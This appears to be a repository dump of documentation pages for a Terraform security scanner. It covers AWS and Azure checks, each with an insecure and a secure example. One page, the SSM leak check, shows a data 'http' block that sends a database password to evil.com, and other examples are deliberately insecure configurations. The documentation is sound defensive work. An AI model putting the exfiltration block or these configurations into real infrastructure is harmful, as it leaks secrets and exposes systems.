[https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | - [https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerLogs.html](https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerLogs.html){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /docs/checks/aws/s3/enable-versioning/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: S3 Data should be versioned 3 | --- 4 | 5 | # S3 Data should be versioned 6 | 7 | ### Default Severity: medium 8 | 9 | ### Explanation 10 | 11 | 12 | Versioning in Amazon S3 is a means of keeping multiple variants of an object in the same bucket. 13 | You can use the S3 Versioning feature to preserve, retrieve, and restore every version of every object stored in your buckets. 14 | With versioning you can recover more easily from both unintended user actions and application failures. 15 | 16 | 17 | ### Possible Impact 18 | Deleted or modified data would not be recoverable 19 | 20 | ### Suggested Resolution 21 | Enable versioning to protect against accidental/malicious removal or modification 22 | 23 | 24 | ### Insecure Example 25 | 26 | The following example will fail the aws-s3-enable-versioning check. 27 | ```terraform 28 | 29 | resource "aws_s3_bucket" "bad_example" { 30 | 31 | } 32 | 33 | ``` 34 | 35 | 36 | 37 | ### Secure Example 38 | 39 | The following example will pass the aws-s3-enable-versioning check. 40 | ```terraform 41 | 42 | resource "aws_s3_bucket" "good_example" { 43 | 44 | versioning { 45 | enabled = true 46 | } 47 | } 48 | 49 | ``` 50 | 51 | 52 | 53 | ### Links 54 | 55 | 56 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#versioning](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#versioning){:target="_blank" rel="nofollow noreferrer noopener"} 57 | 58 | - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html){:target="_blank" rel="nofollow noreferrer noopener"} 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /docs/checks/aws/s3/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: s3 3 | --- 4 | 5 | # s3 6 | 7 | ## Checks 8 | 9 | 10 | - [block-public-acls](block-public-acls) S3 Access block should block public ACL 11 | 12 | - [block-public-policy](block-public-policy) S3 Access block should block public policy 13 | 14 | - [enable-bucket-encryption](enable-bucket-encryption) Unencrypted S3 bucket. 15 | 16 | - [enable-bucket-logging](enable-bucket-logging) S3 Bucket does not have logging enabled. 17 | 18 | - [enable-versioning](enable-versioning) S3 Data should be versioned 19 | 20 | - [encryption-customer-key](encryption-customer-key) S3 encryption should use Customer Managed Keys 21 | 22 | - [ignore-public-acls](ignore-public-acls) S3 Access Block should Ignore Public Acl 23 | 24 | - [no-public-access-with-acl](no-public-access-with-acl) S3 Buckets not publicly accessible through ACL. 25 | 26 | - [no-public-buckets](no-public-buckets) S3 Access block should restrict public bucket to limit access 27 | 28 | - [specify-public-access-block](specify-public-access-block) S3 buckets should each define an aws_s3_bucket_public_access_block 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /docs/checks/aws/s3/no-public-access-with-acl/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: S3 Buckets not publicly accessible through ACL. 3 | --- 4 | 5 | # S3 Buckets not publicly accessible through ACL. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | 12 | Buckets should not have ACLs that allow public access 13 | 14 | 15 | ### Possible Impact 16 | Public access to the bucket can lead to data leakage 17 | 18 | ### Suggested Resolution 19 | Don't use canned ACLs or switch to private acl 20 | 21 | 22 | ### Insecure Example 23 | 24 | The following example will fail the aws-s3-no-public-access-with-acl check. 25 | ```terraform 26 | 27 | resource "aws_s3_bucket" "bad_example" { 28 | acl = "public-read" 29 | } 30 | 31 | ``` 32 | 33 | 34 | 35 | ### Secure Example 36 | 37 | The following example will pass the aws-s3-no-public-access-with-acl check. 38 | ```terraform 39 | 40 | resource "aws_s3_bucket" "good_example" { 41 | acl = "private" 42 | } 43 | 44 | ``` 45 | 46 | 47 | 48 | ### Links 49 | 50 | 51 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/acl-overview.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/acl-overview.html){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /docs/checks/aws/sns/enable-topic-encryption/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Unencrypted SNS topic. 3 | --- 4 | 5 | # Unencrypted SNS topic. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Topics should be encrypted to protect their contents. 12 | 13 | ### Possible Impact 14 | The SNS topic messages could be read if compromised 15 | 16 | ### Suggested Resolution 17 | Turn on SNS Topic encryption 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-sns-enable-topic-encryption check. 23 | ```terraform 24 | 25 | resource "aws_sns_topic" "bad_example" { 26 | # no key id specified 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-sns-enable-topic-encryption check. 36 | ```terraform 37 | 38 | resource "aws_sns_topic" "good_example" { 39 | kms_master_key_id = "/blah" 40 | } 41 | 42 | ``` 43 | 44 | 45 | 46 | ### Links 47 | 48 | 49 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sns_topic#example-with-server-side-encryption-sse](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sns_topic#example-with-server-side-encryption-sse){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | - [https://docs.aws.amazon.com/sns/latest/dg/sns-server-side-encryption.html](https://docs.aws.amazon.com/sns/latest/dg/sns-server-side-encryption.html){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /docs/checks/aws/sns/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: sns 3 | --- 4 | 5 | # sns 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-topic-encryption](enable-topic-encryption) Unencrypted SNS topic. 11 | 12 | - [topic-encryption-use-cmk](topic-encryption-use-cmk) SNS topic not encrypted with CMK. 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/aws/sns/topic-encryption-use-cmk/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: SNS topic not encrypted with CMK. 3 | --- 4 | 5 | # SNS topic not encrypted with CMK. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Topics should be encrypted with customer managed KMS keys and not default AWS managed keys, in order to allow granular key management. 12 | 13 | ### Possible Impact 14 | Key management very limited when using default keys. 15 | 16 | ### Suggested Resolution 17 | Use a CMK for SNS Topic encryption 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-sns-topic-encryption-use-cmk check. 23 | ```terraform 24 | 25 | resource "aws_sns_topic" "bad_example" { 26 | kms_master_key_id = "alias/aws/sns" 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-sns-topic-encryption-use-cmk check. 36 | ```terraform 37 | 38 | resource "aws_sns_topic" "good_example" { 39 | kms_master_key_id = "/blah" 40 | } 41 | 42 | ``` 43 | 44 | 45 | 46 | ### Links 47 | 48 | 49 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sns_topic#example-with-server-side-encryption-sse](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sns_topic#example-with-server-side-encryption-sse){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | - [https://docs.aws.amazon.com/sns/latest/dg/sns-server-side-encryption.html](https://docs.aws.amazon.com/sns/latest/dg/sns-server-side-encryption.html){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /docs/checks/aws/sqs/enable-queue-encryption/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Unencrypted SQS queue. 3 | --- 4 | 5 | # Unencrypted SQS queue. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Queues should be encrypted to protect queue contents. 12 | 13 | ### Possible Impact 14 | The SQS queue messages could be read if compromised 15 | 16 | ### Suggested Resolution 17 | Turn on SQS Queue encryption 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-sqs-enable-queue-encryption check. 23 | ```terraform 24 | 25 | resource "aws_sqs_queue" "bad_example" { 26 | # no key specified 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-sqs-enable-queue-encryption check. 36 | ```terraform 37 | 38 | resource "aws_sqs_queue" "good_example" { 39 | kms_master_key_id = "/blah" 40 | } 41 | 42 | ``` 43 | 44 | 45 | 46 | ### Links 47 | 48 | 49 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue#server-side-encryption-sse](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue#server-side-encryption-sse){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-server-side-encryption.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-server-side-encryption.html){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /docs/checks/aws/sqs/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: sqs 3 | --- 4 | 5 | # sqs 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-queue-encryption](enable-queue-encryption) Unencrypted SQS queue. 11 | 12 | - [no-wildcards-in-policy-documents](no-wildcards-in-policy-documents) AWS SQS policy document has wildcard action statement. 13 | 14 | - [queue-encryption-use-cmk](queue-encryption-use-cmk) SQS queue should be encrypted with a CMK. 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/aws/sqs/queue-encryption-use-cmk/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: SQS queue should be encrypted with a CMK. 3 | --- 4 | 5 | # SQS queue should be encrypted with a CMK. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Queues should be encrypted with customer managed KMS keys and not default AWS managed keys, in order to allow granular control over access to specific queues. 12 | 13 | ### Possible Impact 14 | The SQS queue messages could be read if compromised. Key management is very limited when using default keys. 15 | 16 | ### Suggested Resolution 17 | Encrypt SQS Queue with a customer-managed key 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-sqs-queue-encryption-use-cmk check. 23 | ```terraform 24 | 25 | resource "aws_sqs_queue" "bad_example" { 26 | kms_master_key_id = "alias/aws/sqs" 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the aws-sqs-queue-encryption-use-cmk check. 36 | ```terraform 37 | 38 | resource "aws_sqs_queue" "good_example" { 39 | kms_master_key_id = "/blah" 40 | } 41 | 42 | ``` 43 | 44 | 45 | 46 | ### Links 47 | 48 | 49 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue#server-side-encryption-sse](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue#server-side-encryption-sse){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-server-side-encryption.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-server-side-encryption.html){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /docs/checks/aws/ssm/avoid-leaks-via-http/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Secrets should not be exfiltrated using Terraform HTTP data blocks 3 | --- 4 | 5 | # Secrets should not be exfiltrated using Terraform HTTP data blocks 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | The data.http block can be used to send secret data outside of the organisation. 12 | 13 | ### Possible Impact 14 | Secrets could be exposed outside of the organisation. 15 | 16 | ### Suggested Resolution 17 | Remove this potential exfiltration HTTP request. 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-ssm-avoid-leaks-via-http check. 23 | ```terraform 24 | 25 | resource "aws_ssm_parameter" "db_password" { 26 | name = "db_password" 27 | type = "SecureString" 28 | value = var.db_password 29 | } 30 | 31 | data "http" "not_exfiltrating_data_honest" { 32 | url = "https://evil.com/?p=${aws_ssm_parameter.db_password.value}" 33 | } 34 | 35 | ``` 36 | 37 | 38 | 39 | ### Secure Example 40 | 41 | The following example will pass the aws-ssm-avoid-leaks-via-http check. 42 | ```terraform 43 | 44 | resource "aws_ssm_parameter" "db_password" { 45 | name = "db_password" 46 | type = "SecureString" 47 | value = var.db_password 48 | } 49 | 50 | 51 | ``` 52 | 53 | 54 | 55 | ### Links 56 | 57 | 58 | - [https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/](https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/){:target="_blank" rel="nofollow noreferrer noopener"} 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /docs/checks/aws/ssm/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: ssm 3 | --- 4 | 5 | # ssm 6 | 7 | ## Checks 8 | 9 | 10 | - [avoid-leaks-via-http](avoid-leaks-via-http) Secrets should not be exfiltrated using Terraform HTTP data blocks 11 | 12 | - [secret-use-customer-key](secret-use-customer-key) Secrets Manager should use customer managed keys 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/aws/vpc/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: vpc 3 | --- 4 | 5 | # vpc 6 | 7 | ## Checks 8 | 9 | 10 | - [add-description-to-security-group](add-description-to-security-group) Missing description for security group. 11 | 12 | - [add-description-to-security-group-rule](add-description-to-security-group-rule) Missing description for security group rule. 13 | 14 | - [no-default-vpc](no-default-vpc) AWS best practice to not use the default VPC for workflows 15 | 16 | - [no-excessive-port-access](no-excessive-port-access) An ingress Network ACL rule allows ALL ports. 17 | 18 | - [no-public-egress-sgr](no-public-egress-sgr) An egress security group rule allows traffic to /0. 19 | 20 | - [no-public-ingress-acl](no-public-ingress-acl) An ingress Network ACL rule allows specific ports from /0. 21 | 22 | - [no-public-ingress-sgr](no-public-ingress-sgr) An ingress security group rule allows traffic from /0. 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /docs/checks/aws/vpc/no-default-vpc/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: AWS best practice to not use the default VPC for workflows 3 | --- 4 | 5 | # AWS best practice to not use the default VPC for workflows 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Default VPC does not have a lot of the critical security features that standard VPC comes with, new resources should not be created in the default VPC and it should not be present in the Terraform. 12 | 13 | ### Possible Impact 14 | The default VPC does not have critical security features applied 15 | 16 | ### Suggested Resolution 17 | Create a non-default vpc for resources to be created in 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-vpc-no-default-vpc check. 23 | ```terraform 24 | 25 | resource "aws_default_vpc" "default" { 26 | tags = { 27 | Name = "Default VPC" 28 | } 29 | } 30 | 31 | ``` 32 | 33 | 34 | 35 | ### Secure Example 36 | 37 | The following example will pass the aws-vpc-no-default-vpc check. 38 | ```terraform 39 | 40 | # no aws default vpc present 41 | 42 | ``` 43 | 44 | 45 | 46 | ### Links 47 | 48 | 49 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/default_vpc](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/default_vpc){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | - [https://docs.aws.amazon.com/vpc/latest/userguide/default-vpc.html](https://docs.aws.amazon.com/vpc/latest/userguide/default-vpc.html){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /docs/checks/aws/vpc/no-excessive-port-access/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: An ingress Network ACL rule allows ALL ports. 3 | --- 4 | 5 | # An ingress Network ACL rule allows ALL ports. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Ensure access to specific required ports is allowed, and nothing else. 12 | 13 | ### Possible Impact 14 | All ports exposed for egressing data 15 | 16 | ### Suggested Resolution 17 | Set specific allowed ports 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-vpc-no-excessive-port-access check. 23 | ```terraform 24 | 25 | resource "aws_network_acl_rule" "bad_example" { 26 | egress = false 27 | protocol = "all" 28 | rule_action = "allow" 29 | cidr_block = "0.0.0.0/0" 30 | } 31 | 32 | ``` 33 | 34 | 35 | 36 | ### Secure Example 37 | 38 | The following example will pass the aws-vpc-no-excessive-port-access check. 39 | ```terraform 40 | 41 | resource "aws_network_acl_rule" "good_example" { 42 | egress = false 43 | protocol = "tcp" 44 | from_port = 22 45 | to_port = 22 46 | rule_action = "allow" 47 | cidr_block = "0.0.0.0/0" 48 | } 49 | 50 | ``` 51 | 52 | 53 | 54 | ### Links 55 | 56 | 57 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/network_acl_rule#to_port](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/network_acl_rule#to_port){:target="_blank" rel="nofollow noreferrer noopener"} 58 | 59 | - [https://docs.aws.amazon.com/vpc/latest/userguide/vpc-network-acls.html](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-network-acls.html){:target="_blank" rel="nofollow noreferrer noopener"} 60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /docs/checks/aws/vpc/no-public-egress-sgr/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: An egress security group rule allows traffic to /0. 3 | --- 4 | 5 | # An egress security group rule allows traffic to /0. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Opening up ports to connect out to the public internet is generally to be avoided. You should restrict access to IP addresses or ranges that are explicitly required where possible. 12 | 13 | ### Possible Impact 14 | Your port is egressing data to the internet 15 | 16 | ### Suggested Resolution 17 | Set a more restrictive cidr range 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-vpc-no-public-egress-sgr check. 23 | ```terraform 24 | 25 | resource "aws_security_group" "bad_example" { 26 | egress { 27 | cidr_blocks = ["0.0.0.0/0"] 28 | } 29 | } 30 | 31 | ``` 32 | 33 | 34 | 35 | ### Secure Example 36 | 37 | The following example will pass the aws-vpc-no-public-egress-sgr check. 38 | ```terraform 39 | 40 | resource "aws_security_group" "good_example" { 41 | egress { 42 | cidr_blocks = ["1.2.3.4/32"] 43 | } 44 | } 45 | 46 | ``` 47 | 48 | 49 | 50 | ### Links 51 | 52 | 53 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/security_group](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/security_group){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | - [https://docs.aws.amazon.com/whitepapers/latest/building-scalable-secure-multi-vpc-network-infrastructure/centralized-egress-to-internet.html](https://docs.aws.amazon.com/whitepapers/latest/building-scalable-secure-multi-vpc-network-infrastructure/centralized-egress-to-internet.html){:target="_blank" rel="nofollow noreferrer noopener"} 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /docs/checks/aws/vpc/no-public-ingress-sgr/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: An ingress security group rule allows traffic from /0. 3 | --- 4 | 5 | # An ingress security group rule allows traffic from /0. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Opening up ports to the public internet is generally to be avoided. You should restrict access to IP addresses or ranges that explicitly require it where possible. 12 | 13 | ### Possible Impact 14 | Your port exposed to the internet 15 | 16 | ### Suggested Resolution 17 | Set a more restrictive cidr range 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the aws-vpc-no-public-ingress-sgr check. 23 | ```terraform 24 | 25 | resource "aws_security_group_rule" "bad_example" { 26 | type = "ingress" 27 | cidr_blocks = ["0.0.0.0/0"] 28 | } 29 | 30 | ``` 31 | 32 | 33 | 34 | ### Secure Example 35 | 36 | The following example will pass the aws-vpc-no-public-ingress-sgr check. 37 | ```terraform 38 | 39 | resource "aws_security_group_rule" "good_example" { 40 | type = "ingress" 41 | cidr_blocks = ["10.0.0.0/16"] 42 | } 43 | 44 | ``` 45 | 46 | 47 | 48 | ### Links 49 | 50 | 51 | - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/security_group_rule#cidr_blocks](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/security_group_rule#cidr_blocks){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-rules-reference.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-rules-reference.html){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /docs/checks/aws/workspaces/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: workspaces 3 | --- 4 | 5 | # workspaces 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-disk-encryption](enable-disk-encryption) Root and user volumes on Workspaces should be encrypted 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/azure/appservice/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: appservice 3 | --- 4 | 5 | # appservice 6 | 7 | ## Checks 8 | 9 | 10 | - [account-identity-registered](account-identity-registered) Web App has registration with AD enabled 11 | 12 | - [authentication-enabled](authentication-enabled) App Service authentication is activated 13 | 14 | - [enable-http2](enable-http2) Web App uses the latest HTTP version 15 | 16 | - [enforce-https](enforce-https) Ensure the Function App can only be accessed via HTTPS. The default is false. 17 | 18 | - [require-client-cert](require-client-cert) Web App accepts incoming client certificate 19 | 20 | - [use-secure-tls-policy](use-secure-tls-policy) Web App uses latest TLS version 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /docs/checks/azure/authorization/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: authorization 3 | --- 4 | 5 | # authorization 6 | 7 | ## Checks 8 | 9 | 10 | - [limit-role-actions](limit-role-actions) Roles limited to the required actions 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/azure/compute/enable-disk-encryption/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Enable disk encryption on managed disk 3 | --- 4 | 5 | # Enable disk encryption on managed disk 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Manage disks should be encrypted at rest. When specifying the encryption_settings block, the enabled attribute should be set to true. 12 | 13 | ### Possible Impact 14 | Data could be read if compromised 15 | 16 | ### Suggested Resolution 17 | Enable encryption on managed disks 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the azure-compute-enable-disk-encryption check. 23 | ```terraform 24 | 25 | resource "azurerm_managed_disk" "bad_example" { 26 | encryption_settings { 27 | enabled = false 28 | } 29 | } 30 | ``` 31 | 32 | 33 | 34 | ### Secure Example 35 | 36 | The following example will pass the azure-compute-enable-disk-encryption check. 37 | ```terraform 38 | 39 | resource "azurerm_managed_disk" "good_example" { 40 | encryption_settings { 41 | enabled = true 42 | } 43 | } 44 | ``` 45 | 46 | 47 | 48 | ### Links 49 | 50 | 51 | - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/managed_disk](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/managed_disk){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | - [https://docs.microsoft.com/en-us/azure/virtual-machines/linux/disk-encryption](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/disk-encryption){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /docs/checks/azure/compute/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: compute 3 | --- 4 | 5 | # compute 6 | 7 | ## Checks 8 | 9 | 10 | - [disable-password-authentication](disable-password-authentication) Password authentication should be disabled on Azure virtual machines 11 | 12 | - [enable-disk-encryption](enable-disk-encryption) Enable disk encryption on managed disk 13 | 14 | - [no-secrets-in-custom-data](no-secrets-in-custom-data) Ensure that no sensitive credentials are exposed in VM custom_data 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/azure/container/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: container 3 | --- 4 | 5 | # container 6 | 7 | ## Checks 8 | 9 | 10 | - [configured-network-policy](configured-network-policy) Ensure AKS cluster has Network Policy configured 11 | 12 | - [limit-authorized-ips](limit-authorized-ips) Ensure AKS has an API Server Authorized IP Ranges enabled 13 | 14 | - [logging](logging) Ensure AKS logging to Azure Monitoring is Configured 15 | 16 | - [use-rbac-permissions](use-rbac-permissions) Ensure RBAC is enabled on AKS clusters 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /docs/checks/azure/container/logging/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Ensure AKS logging to Azure Monitoring is Configured 3 | --- 4 | 5 | # Ensure AKS logging to Azure Monitoring is Configured 6 | 7 | ### Default Severity: medium 8 | 9 | ### Explanation 10 | 11 | Ensure AKS logging to Azure Monitoring is configured for containers to monitor the performance of workloads. 12 | 13 | ### Possible Impact 14 | Logging provides valuable information about access and usage 15 | 16 | ### Suggested Resolution 17 | Enable logging for AKS 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the azure-container-logging check. 23 | ```terraform 24 | 25 | resource "azurerm_kubernetes_cluster" "bad_example" { 26 | addon_profile {} 27 | } 28 | 29 | ``` 30 | 31 | 32 | 33 | ### Secure Example 34 | 35 | The following example will pass the azure-container-logging check. 36 | ```terraform 37 | 38 | resource "azurerm_kubernetes_cluster" "good_example" { 39 | addon_profile { 40 | oms_agent { 41 | enabled = true 42 | } 43 | } 44 | } 45 | 46 | ``` 47 | 48 | 49 | 50 | ### Links 51 | 52 | 53 | - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/kubernetes_cluster#oms_agent](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/kubernetes_cluster#oms_agent){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | - [https://docs.microsoft.com/en-us/azure/azure-monitor/insights/container-insights-onboard](https://docs.microsoft.com/en-us/azure/azure-monitor/insights/container-insights-onboard){:target="_blank" rel="nofollow noreferrer noopener"} 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /docs/checks/azure/database/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: database 3 | --- 4 | 5 | # database 6 | 7 | ## Checks 8 | 9 | 10 | - [all-threat-alerts-enabled](all-threat-alerts-enabled) No threat detections are set 11 | 12 | - [enable-audit](enable-audit) Auditing should be enabled on Azure SQL Databases 13 | 14 | - [enable-ssl-enforcement](enable-ssl-enforcement) SSL should be enforced on database connections where applicable 15 | 16 | - [no-public-access](no-public-access) Ensure databases are not publicly accessible 17 | 18 | - [no-public-firewall-access](no-public-firewall-access) Ensure database firewalls do not permit public access 19 | 20 | - [postgres-configuration-connection-throttling](postgres-configuration-connection-throttling) Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server 21 | 22 | - [postgres-configuration-log-checkpoints](postgres-configuration-log-checkpoints) Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server 23 | 24 | - [postgres-configuration-log-connections](postgres-configuration-log-connections) Ensure server parameter 'log_connections' is set to 'ON' for PostgreSQL Database Server 25 | 26 | - [retention-period-set](retention-period-set) Database auditing retention period should be longer than 90 days 27 | 28 | - [secure-tls-policy](secure-tls-policy) Databases should have the minimum TLS set for connections 29 | 30 | - [threat-alert-email-set](threat-alert-email-set) At least one email address is set for threat alerts 31 | 32 | - [threat-alert-email-to-owner](threat-alert-email-to-owner) Security threat alerts go to subscription owners and co-administrators 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /docs/checks/azure/datafactory/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: datafactory 3 | --- 4 | 5 | # datafactory 6 | 7 | ## Checks 8 | 9 | 10 | - [no-public-access](no-public-access) Data Factory should have public access disabled, the default is enabled. 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/azure/datalake/enable-at-rest-encryption/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Unencrypted data lake storage. 3 | --- 4 | 5 | # Unencrypted data lake storage. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | Datalake storage encryption defaults to Enabled, it shouldn't be overridden to Disabled. 12 | 13 | ### Possible Impact 14 | Data could be read if compromised 15 | 16 | ### Suggested Resolution 17 | Enable encryption of data lake storage 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the azure-datalake-enable-at-rest-encryption check. 23 | ```terraform 24 | 25 | resource "azurerm_data_lake_store" "bad_example" { 26 | encryption_state = "Disabled" 27 | } 28 | ``` 29 | 30 | 31 | 32 | ### Secure Example 33 | 34 | The following example will pass the azure-datalake-enable-at-rest-encryption check. 35 | ```terraform 36 | 37 | resource "azurerm_data_lake_store" "good_example" { 38 | encryption_state = "Enabled" 39 | } 40 | ``` 41 